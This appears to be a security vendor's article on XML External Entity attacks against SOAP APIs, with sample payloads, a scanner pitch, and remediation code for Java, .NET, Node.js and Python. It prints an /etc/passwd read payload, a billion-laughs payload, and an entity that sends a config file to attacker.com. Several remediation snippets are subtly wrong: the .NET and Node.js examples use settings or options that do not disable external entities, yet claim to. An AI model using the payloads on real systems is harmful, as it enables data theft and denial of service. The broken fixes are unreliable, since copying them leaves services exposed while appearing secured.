HIGH protocolssoapxml external entities

Xml External Entities in Soap APIs

How Xml External Entities Manifests in Soap

XML External Entity (XXE) attacks in SOAP services exploit the XML parsing process to access internal systems, exfiltrate data, or cause denial of service. In SOAP, XXE vulnerabilities typically arise when XML parsers process malicious SOAP requests containing external entity references.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <getUserData>
      <userId>123</userId>
      <query><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><data>&xxe;</data></query>
    </getUserData>
  </soapenv:Body>
</soapenv:Envelope>

This payload exploits the XML parser to read the /etc/passwd file and return its contents within the SOAP response. The attacker embeds a DOCTYPE declaration with an external entity that references a local file.

Another common SOAP XXE attack involves entity expansion leading to the "billion laughs" attack:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <search>
      <query><!DOCTYPE data [
        <!ENTITY a "LOL">
        <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
        <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
        <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
        <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
      ]>&e;</query>
    </search>
  </soapenv:Body>
</soapenv:Envelope>

This expands to billions of characters, consuming memory and potentially causing a denial of service. SOAP services using XML parsers that enable external entity processing are vulnerable to these attacks.

Internal entity attacks can also exfiltrate data through error messages:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <process>
      <data><!DOCTYPE foo [
        <!ENTITY % xxe SYSTEM "file:///var/www/config.xml">
        <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://attacker.com/?%xxe;'>">
      ]></data>
    </process>
  </soapenv:Body>
</soapenv:Envelope>

When the parser processes this, it attempts to load the external entity and sends the file contents to the attacker's server via a crafted URL.

Soap-Specific Detection

Detecting XXE vulnerabilities in SOAP services requires both static analysis of the XML parser configuration and dynamic testing of the SOAP endpoints. middleBrick's SOAP-specific scanning identifies these vulnerabilities through automated black-box testing.

middleBrick tests SOAP endpoints by sending crafted XML payloads with various external entity patterns. The scanner attempts to trigger DTD processing, external entity resolution, and entity expansion. For SOAP services, middleBrick specifically targets:

  • SOAP 1.1 and 1.2 envelope structures
  • WS-Security headers that might interfere with payload processing
  • MTOM/XOP attachments that could contain malicious XML
  • SOAP faults that might reveal internal system information

The scanner analyzes the response patterns to determine if external entities were processed. Successful XXE exploitation typically results in:

  • Response content containing file contents or system information
  • Time delays indicating entity expansion processing
  • Network connections to attacker-controlled domains
  • SOAP fault messages revealing internal paths

middleBrick also examines the WSDL to understand the SOAP service structure and identify potential attack surfaces. The scanner tests each operation with multiple XXE payloads, including variations that bypass common filters.

For SOAP services behind authentication, middleBrick can test the authenticated attack surface when provided with valid credentials. The scanner maintains session state and tests XXE vectors across authenticated operations.

middleBrick's API security scoring assigns severity based on the exploitability and impact of detected XXE vulnerabilities. A SOAP service that processes external entities without restrictions receives a low security score and detailed remediation guidance.

Soap-Specific Remediation

Remediating XXE vulnerabilities in SOAP services requires configuring XML parsers to disable external entity processing and entity expansion. The specific approach depends on the SOAP framework and XML parser implementation.

For Java-based SOAP services using JAX-WS with Apache Axis2, configure the XML parser securely:

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.XMLConstants;

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// Use the configured factory for SOAP message processing
SOAPMessage soapMsg = messageFactory.createMessage();
SOAPPart soapPart = soapMsg.getSOAPPart();
soapPart.setContent(dbf.newDocumentBuilder().parse(inputStream));

For .NET SOAP services using WCF, configure the XmlDictionaryReaderQuotas to prevent XXE:

var binding = new BasicHttpBinding();
binding.Security.Mode = BasicHttpSecurityMode.Transport;
binding.MaxReceivedMessageSize = 65536;

// Prevent XXE by limiting XML processing
binding.ReaderQuotas = new XmlDictionaryReaderQuotas()
{
    MaxDepth = 32,
    MaxStringContentLength = 8192,
    MaxArrayLength = 16384,
    MaxBytesPerRead = 4096,
    MaxNameTableCharCount = 16384
};

// Disable DTD processing
binding.Security.Message.DerivedKeyLength = 256;
// Additional WCF XXE prevention settings
binding.Security.Message.EstablishSecurityContext = false;

For Node.js SOAP services using express-soap, use a secure XML parser:

const { createServer } = require('soap');
const { parseString } = require('xml2js');

const xmlParserOptions = {
    // Disable external entities
    strict: true,
    trim: true,
    explicitArray: false,
    explicitRoot: false,
    mergeAttrs: true,
    // Prevent XXE
    forbidProxy: true,
    noNetwork: true,
    entityResolver: false
};

createServer({ xmlParser: (xml) => parseStringPromise(xml, xmlParserOptions) }, services);

For Python SOAP services using Spyne, configure the XML parser securely:

from lxml import etree
from spyne import Application, rpc, ServiceBase, Integer, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication

class SecureSoapService(ServiceBase):
    @rpc(String, _returns=String)
    def process(ctx, data):
        # Use secure XML parsing
        parser = etree.XMLParser(
            resolve_entities=False,
            load_dtd=False,
            no_network=True
        )
        # Process SOAP request securely
        return "Processed securely"

After implementing these fixes, verify the remediation by testing with known XXE payloads. middleBrick can be used to confirm that the SOAP service no longer processes external entities.

Frequently Asked Questions

How can I test my SOAP service for XXE vulnerabilities?
Use middleBrick to scan your SOAP endpoint. The scanner automatically tests for XXE by sending various external entity payloads and analyzing the responses. middleBrick's black-box scanning requires no credentials or setup—just provide your SOAP service URL and WSDL location. The scanner tests all operations defined in your WSDL with multiple XXE payloads and provides a security score with detailed findings.
What's the difference between XXE in REST vs SOAP services?
XXE in SOAP services is often more complex because SOAP uses XML envelopes with potential WS-Security headers, attachments, and specific parsing requirements. REST services typically process simpler XML payloads or JSON. SOAP's structured nature means XXE payloads must conform to SOAP envelope requirements, and attacks might need to bypass WS-Security processing. Additionally, SOAP services often have WSDL definitions that reveal more about the service structure, potentially aiding attackers in crafting targeted XXE payloads.